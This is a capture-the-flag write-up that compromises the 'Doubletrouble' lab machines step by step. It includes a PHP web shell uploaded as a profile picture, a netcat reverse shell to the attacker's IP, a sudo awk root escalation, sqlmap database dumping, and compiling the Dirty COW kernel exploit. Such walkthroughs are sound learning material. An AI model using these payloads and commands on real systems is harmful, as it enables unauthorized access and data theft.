Doubletrouble

To start, we perform a device recognition on our network using the arp-scan tool and find the MAC address starting with 08:..., which is typically assigned to virtual machines.

sudo arp-scan -I eth0 --localnetash

And we find the IP of the victim machine: 192.168.18.191

Now it's time to conduct an open port reconnaissance, for which we'll use NMAP. With the following command, we will perform a quick scan of all ports on the victim machine.

sudo nmap -sS -p- --min-rate 4500 -n -Pn 192.168.18.191

Now that we know the open ports, let's conduct a more detailed scan on these ports.

nmap -sCV -p22,80 -n -Pn 192.168.18.191 -oN target

NMAP scan

Upon entering the hosted website, we observe a login page, as also indicated in the NMAP scan.

Login page

We are going to perform a directory enumerating using Gobuster to see if any directory can help us gain access.

gobuster dir -u http://192.168.18.191/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

And we come across the following directory that will be useful, as the others do not have anything significant:

Directory enumeration with Gobuster

Inside the /secret directory, there is an image, so I decide to download it and apply steganography techniques to see if there is any hidden information in the image.

Image with hidden information

wget http://192.168.18.191/secret/doubletrouble.jpg

And we use Stegseek:

Using Stegseek

Within this, you'll find the credentials to log in.

Credentials

So, we log in through the page we saw earlier using the obtained credentials.

We log in

Now that we are inside, let's upload a malicious PHP file to execute commands. I'm going to upload it as the user's profile picture.

We upload the malicious PHP

The code:

<?php
		echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Malicious PHP

We upload it and navigate to the /uploads directory we found earlier while enumerating directories with Gobuster. Then, we access the users folder, where we will find our PHP file.

And now, we can execute commands.

We execute the command 'id'

So, we are going to perform a Reverse Shell to gain access to the machine. To do this, we set up a listener on port 4444 with netcat:

nc -lvnp 4444

And then we execute this code on the website:

nc -c bash 192.168.18.100 4444

We are in

And we're in. Now, I'm going to set up a TTY.

It's time for privilege escalation. Upon checking the sudo permissions, we notice that we can execute the awk binary as root.

Sudo permissions

On the GTFOBins page, it shows how to leverage these permissions.

View of GTFObins

Code we need to execute

Now, we execute the command:

sudo awk 'BEGIN {system("/bin/sh")}'

A new machine

And we're not done yet. Even though we're the root user, we can't obtain any flags. What we see is another machine with the same name inside this one. So, we need to download it.

Victim machine:

python3 -m http.server 8080

Our real machine:

Since I'm using Windows 10, I'll use the following command to download it from PowerShell:

Invoke-WebRequest -Uri "http://192.168.18.191:8080/doubletrouble.ova" -OutFile "newmachine.ova"

Now, we start the machine and find its IP address using arp-scan. In this case, the IP of the second machine is 192.168.18.193.

So, I perform another port scan with NMAP.

NMAP scan

Another login page:

Another login screen

Now, we will use Burp Suite, and then with SQLMAP, we will check if it is vulnerable to SQLI.

Burp Suite

We copy all this content and paste it into a file, I'll call it sqlmap.txt. Now we run SQLMAP with this file:

sqlmap -r sqlmap.txt

And we observe that it is indeed vulnerable. Next, we will execute the following command to show us the existing databases:

sqlmap -r sqlmap.txt -dbs

"Doubletrouble" database

Now that we have found the "doubletrouble" database, let's enter to see what's inside:

sqlmap -r sqlmap.txt -D doubletrouble -dump

Users and passwords

We came across usernames and passwords. The one above doesn't work, but clapton does work for SSH.

We are clapton

And finally, we obtain the user flag.

User flag

Now comes the second privilege escalation. We observe that the machine's version is vulnerable to a Local Privilege Escalation.

Vulnerable kernel version

And we download it, following the steps it indicates.

mv 40839.c dirty.c

And now we transfer it to the target machine using netcat:

Target machine:

nc -lvnp 8888 > dirty.c

Local machine:

nc 192.168.18.193 8888 < dirty.c

And now we compile it:

gcc -pthread dirty.c -o dirty -lcrypt

Now we will execute it, passing the password we want. Mine will be 'hello':

./dirty my-new-password

Then we become the root user, now named firefart.

su firefart

And we enter the password we assigned earlier.

And there you go, we are now root. We can now obtain the root flag.

Root flag

Machine fully completed!